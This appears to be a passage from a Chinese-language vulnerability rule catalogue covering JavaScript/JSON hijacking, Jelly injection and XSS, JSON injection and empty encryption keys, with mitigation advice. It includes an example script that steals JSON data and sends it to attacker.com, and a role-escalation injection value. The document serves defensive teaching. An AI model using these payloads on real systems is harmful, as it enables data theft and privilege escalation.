JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。 JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。 示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编

返回目录

写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

```
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
   if (req.readyState == 4) {
      var txt = req.responseText;
      object = eval("(" + txt + ")");
      req = null;
   }
};
req.send(null);
```

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

```
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie:
JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
```

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）

服务器使用 JSON 格式的数组进行响应：

```
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
   "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
   "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
   "purchases":45000.00, "email":"jacob@example.com" }]
```

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

```
&lt;script&gt;
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
```

返回目录

	// this will allow us to steal the whole object.
	function Object() {
	  this.email setter = captureObject;
	}
	// Send the captured object back to the attacker's web site
	function captureObject(x) {
	  var objString = "";
	  for (fld in this) {
	  objString += fld + ": " + this[fld] + ", ";
	  }
	  objString += "email: " + x;
	  var req = new XMLHttpRequest();
	  req.open("GET", "http://attacker.com?obj=" +
	  escape(objString),true);
	  req.send(null);
	}
	</script>
	<!-- Use a script tag to bring in victim's data -->
	<script src="http://www.example.com/object.json"></script>
	恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。
	当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。
	这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

建议	所有使用 JavaScript 进行交流的程序需要采取以下防范措施：1) 拒绝恶意请求：— 在每个返回给 JavaScript 的请求中使用一些令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应：包括某些响应中的字符，这些响应只有经过了修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script> 标签看清

返回目录

JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。

拒绝恶意请求

从服务器的角度来看，JavaScript 劫持攻击类似于跨站点伪装请求，因此，防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求，每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时，它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie（cookie 也需要遵循同源策略(Same Origin Policy)），因此，攻击者即使制造了请求，也很难再通过检验了。也可以使用其他机密信息代替会话 cookie；只要这个机密信息难以猜测，可以在合法应用程序能够访问的上下文中使用，同时又无法通过其他的域进行访问，就可以防止攻击者制造有效的请求。

有一些框架仅能运行在客户端上。换言之，它们完全由 JavaScript 编写而成，对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称，它们也能参与基于 cookie 的防范，途径就是将所有的 cookie 附加到发送给服务器的各个请求中。

示例 2：以下 JavaScript 片段描述了这种“盲客户端”策略：

```
var httpRequest = new XMLHttpRequest();
...
var cookies="cookies="+escape(document.cookie);
http_request.open('POST', url, true);
httpRequest.send(cookies);
```

服务器也可以检查 HTTP referer 头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer 头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是 <script> 标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。

防止直接执行响应

为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用 <script> 标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过 <script> 标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。

例 3：该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种，服务器可以把以下指令作为消息的前缀：

返回目录

	while(1);
	除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,9) == "while(1);") {
	txt = txt.substring(10);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释：
	/*
	[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
	"purchases":60000.00, "email":"brian@example.com" }
	]
	*/
	客户端可以搜索并删除如下注释字符：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,2) == "/*") {
	txt = txt.substring(2, txt.length - 2);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	任何通过 <script> 标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。
	自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。

返回目录

CWE	None
OWASP2017	None

返回目录

漏洞名称	**JavaScript Hijacking:Vulnerable Framework**
默认严重性	2.0
摘要	使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞，该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
解释	如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。 Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行 JavaScript，从其他网站加载的敏感信息，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。 JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。 示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编

返回目录

	写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。
	客户端向服务器请求数据，并通过以下代码评估 JSON 结果：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	当此代码运行时，它会生成一个如下所示的 HTTP 请求：
	GET /object.json HTTP/1.1
	...
	Host: www.example.com
	Cookie:
	JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
	（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）
	服务器使用 JSON 格式的数组进行响应：
	HTTP/1.1 200 OK
	Cache-control: private
	Content-Type: text/JavaScript; charset=utf-8
	...
	[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
	"purchases":60000.00, "email":"brian@example.com" },
	{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
	"purchases":120000.00, "email":"katrina@example.com" },
	{"fname":"Jacob", "lname":"West", "phone":"6502135600",
	"purchases":45000.00, "email":"jacob@example.com" }]
	这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。
	<script>
	// override the constructor used to create all objects so
	// that whenever the "email" field is set, the method
	// captureObject() will run. Since "email" is the final field,

返回目录

	// this will allow us to steal the whole object.
	function Object() {
	  this.email setter = captureObject;
	}
	// Send the captured object back to the attacker's web site
	function captureObject(x) {
	  var objString = "";
	  for (fld in this) {
	  objString += fld + ": " + this[fld] + ", ";
	  }
	  objString += "email: " + x;
	  var req = new XMLHttpRequest();
	  req.open("GET", "http://attacker.com?obj=" +
	  escape(objString),true);
	  req.send(null);
	}
	</script>
	<!-- Use a script tag to bring in victim's data -->
	<script src="http://www.example.com/object.json"></script>
	恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。
	当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。
	这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

建议	所有使用 JavaScript 进行通信的程序都应采取以下防范措施：1) 拒绝恶意请求：在每个返回给 JavaScript 的请求中都加入令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应：在响应中加入一些字符，使其只有经过修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script> 标签看清 JavaScript

返回目录

	的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。
	拒绝恶意请求
	从服务器的角度来看，JavaScript 劫持攻击类似于跨站点伪装请求，因此，防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求，每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时，它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie（cookie 也需要遵循同源策略(Same Origin Policy)），因此，攻击者即使制造了请求，也很难再通过检验了。也可以使用其他机密信息代替会话 cookie；只要这个机密信息难以猜测，可以在合法应用程序能够访问的上下文中使用，同时又无法通过其他的域进行访问，就可以防止攻击者制造有效的请求。
	有一些框架仅能运行在客户端上。换言之，它们完全由 JavaScript 编写而成，对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称，它们也能参与基于 cookie 的防范，途径就是将所有的 cookie 附加到发送给服务器的各个请求中。
	示例 2：以下 JavaScript 片段描述了这种“盲客户端”策略：
	var httpRequest = new XMLHttpRequest();
	...
	var cookies="cookies="+escape(document.cookie);
	http_request.open('POST', url, true);
	httpRequest.send(cookies);
	服务器也可以检查 HTTP referer 头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer 头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是 <script> 标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。
	防止直接执行响应
	为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用 <script> 标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过 <script> 标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。
	示例 3：该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种，服务器可以把以下指令作为消息的前缀：

返回目录

	while(1);
	除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,9) == "while(1);") {
	txt = txt.substring(10);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释：
	/*
	[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
	"purchases":60000.00, "email":"brian@example.com" }
	]
	*/
	客户端可以搜索并删除如下注释字符：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,2) == "/*") {
	txt = txt.substring(2, txt.length - 2);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	任何通过 <script> 标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。
	自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。

返回目录

CWE	None
OWASP2017	None

返回目录

漏洞名称	**Jelly Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可通过用户输入 XX（元素） 注入执行的代码 ，这会被应用程序在 X（文件） 文件第 N 行的 XXX（方法） 方法中检索到。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 如果需要动态执行，请在外部 Process 中运行所有动态代码，然后使用 ProcessBuilder 将外部数据作为参数传递给进程。 也可使用独立线程在隔离的沙盒中执行代码，使用自定义 SecurityManager 来实施限制性的 Policy 策略，以及使用自定义 ClassLoader 仅从预定义的沙盒位置加载允许的类。（注意这也不能保证完全避免沙盒攻击，因此应该尽量避免所有动态执行。）
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Jelly XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**JSON Hijacking**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行的 JSON 对象中返回敏感数据。
解释	攻击者可能会制作一个恶意网页并通过社交引擎让用户访问它。如果该用户使用了过期的浏览器并登录了有漏洞的应用程序，攻击者就能检索 JSON 对象的内容，绕过 SOP 并读取这些对象的内容以及其中的敏感信息。请注意，虽然 JSON 劫持问题通常发生于过期的、旧的、已淘汰的浏览器，但比较新的浏览器也是偶尔会发生的。 应用程序有此漏洞必须满足以下要求： 应用程序必须使用 cookie 式身份验证 应用程序以身份验证的方式响应简单 GET 请求 此敏感数据以 JSON 的方式返回，具体为数组形式（放置在方 [] 括号内），且数组中含有对象 通过返回 JSON 数组，攻击者可以制作一个恶意网站，使用以下方式在攻击者的页面中加入 <script> 标记： <script src="https://example.com/path/to/vulnerable/page"></script> 浏览器会将返回的值解释为对象，使其临时存在于网页的 DOM 中；但是，因为此对象未被赋值或引用，它是短暂存在的，通常会被立即丢弃。这与其他无赋值的声明或返回值类似，恶意网站也无法以任何方式引用它。 要在有漏洞的浏览器中利用这个问题，攻击者必须能覆盖 setter 的原型函数，而这通常是受限制的。如果浏览器有漏洞且允许在页面上下文中的 Javascript 中覆盖 setter 的某些核心原型，攻击者就可以编写一个 Javascript，使得通过 方法加入有漏洞的页面时，将开始构建一个对象，使用 JSON 对象的内容作为值触发被覆盖的 setter 原型，然后攻击者即可在他们的恶意网页上下文中访问这些值。从此时开始 - 访问这些值就很轻松了。
建议	有多个解决此问题的方法： 不要用 JSON 数组作为响应，因为它们是用方括号封装起来的，会立即被评估为对象；如果有需要，使用外部对象将数组封装起来（例如 {"array":[]}），或添加某些前缀以避免此问题 如果有需要，仅使用 JSON 数组响应 POST 请示；确保没有任何敏感信息会作为数组返回 GET 请求 使用 JavaScript (for(;;);) 或不可解析的 JSON ({};) 为 JSON 对象添加前缀，并在客户端上处理它之前去掉此前缀；后者会导致导入失败，前者会导致导入永远挂起——其中任何一种方式都能避免攻击者将 JSON 对象作为脚本导入
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**JSON Injection**
默认严重性	4.0
摘要	在 X（文件） 的第 N 行中，XXX（方法） 方法将未经验证的输入写入 JSON。攻击者可以利用此调用将任意元素或属性注入 JSON 实体。该方法会将未经验证的输入写入 JSON。攻击者可以利用此调用将任意元素或属性注入 JSON 实体。

解释	JSON injection 会在以下情况中出现：
	1. 数据从一个不可信赖的数据源进入程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 将数据写入到 JSON 流。
	在这种情况下，由 Y（文件）的第 M 行的 YY（函数） 编写 JSON。
	应用程序通常使用 JSON 来存储数据或发送消息。用于存储数据时，JSON 通常会像缓存数据那样处理，而且可能会包含敏感信息。用于发送消息时，JSON 通常与 RESTful 服务一起使用，并且可以用于传输敏感信息，例如身份验证凭据。
	如果应用程序利用未经验证的输入构造 JSON，则可以更改 JSON 文档和消息的语义。在相对理想的情况下，攻击者可能会插入无关的元素，导致应用程序在解析 JSON 文档或请求时抛出异常。在更为严重的情况下，例如涉及 JSON Injection，攻击者可能会插入无关的元素，从而允许对 JSON 文档或请求中对业务非常关键的值执行可预见操作。还有一些情况，JSON Injection 可以导致 Cross-Site Scripting 或 Dynamic Code Evaluation。
	示例 1：下列 JavaScript 代码使用 jQuery 解析 JSON，其中有个值来自 URL：
	var str = document.URL;
	var url_check = str.indexOf('name=');
	var name = null;
	if (url_check > -1) {
	name = decodeURIComponent(str.substring((url_check+5), str.length));
	}
	$(document).ready(function(){
	if (name !== null){
	var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
	...
	}
	...
	});

返回目录

	将不会对 name 中的不可信数据进行验证，以避免与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在此示例中，如果非特权用户 mallory 将 ","role":"admin 附加到 URL 中的名称参数，JSON 将变成：
	{
	"role":"user",
	"username":"mallory",
	"role":"admin"
	}
	此代码将由 jQuery.parseJSON() 解析，并设置为普通对象，这意味着 obj.role 将立即返回 "admin" 而不是 "user"

建议	在将用户提供的数据写入 JSON 时，请遵循以下准则：
	1.不要使用从用户输入派生的名称创建 JSON 属性。
	2. 确保使用安全的序列化函数（能够以单引号或双引号分隔不可信赖的数据，并且避免任何特殊字符）执行对 JSON 的所有序列化操作。
	示例 2：以下 JavaScript 代码实现的功能与 Example 1 相同，但会根据允许列表验证名称，并在解析 JSON 之前拒绝相应值或将该名称设置为“guest”：
	var str = document.URL;
	var url_check = str.indexOf('name=');
	var name = null;
	if (url_check > -1) {
	name = decodeURIComponent(str.substring((url_check+5), str.length));
	}
	function getName(name){
	var regexp = /^[A-z0-9]+$/;
	var matches = name.match(regexp);
	if (matches == null){
	return "guest";
	} else {
	return name;
	}
	}
	$(document).ready(function(){
	if (name !== null){
	var obj = jQuery.parseJSON('{"role": "user", "name" : "' + getName(name) + '"}');
	...
	}
	...
	});

返回目录

	尽管在这种情况下能够以这种方式使用允许列表，但是因为我们需要用户控制该名称，所以在其他情况下，最好使用完全不受用户控制的值。
CWE	CWE ID 91
OWASP2017	A1 Injection

返回目录

漏洞名称	**Key Management:Empty Encryption Key**
默认严重性	3.0
摘要	空加密密钥可能会削弱安全性，一旦出现安全问题将无法轻易修正。

解释	使用空加密密钥绝非好方法，因为这样将会大幅减弱由良好的加密算法提供的保护，而且还会使解决这一问题变得极其困难。在问题代码投入使用之后，除非对软件进行修补，否则将无法更改空加密密钥。如果受空加密密钥保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。
	在这种情况下，空加密密钥位于 X（文件）中第 N 行的 YY（函数）。
	示例 1：以下代码使用空加密密钥执行 AES 加密：
	...
	var crypto = require('crypto');
	var encryptionKey = "";
	var algorithm = 'aes-256-ctr';
	var cipher = crypto.createCipher(algorithm, encryptionKey);
	...
	不仅任何可以访问此代码的人可以确定它使用空加密密钥，而且任何具有最基本破解技术的人都更有可能成功解密所有加密数据。在应用程序发布之后，必须对软件进行修补才能更改空加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用了空加密密钥的证据。

建议	加密密钥不能为空，而应对加密密钥加以模糊化，并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥（空或非空），任何有足够权限的人即可读取加密密钥，还可能误用这些加密密钥。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Hardcoded Encryption Key**
默认严重性	3.0
摘要	硬编码加密密钥可能会削弱安全性，一旦出现安全问题将无法轻易修正。

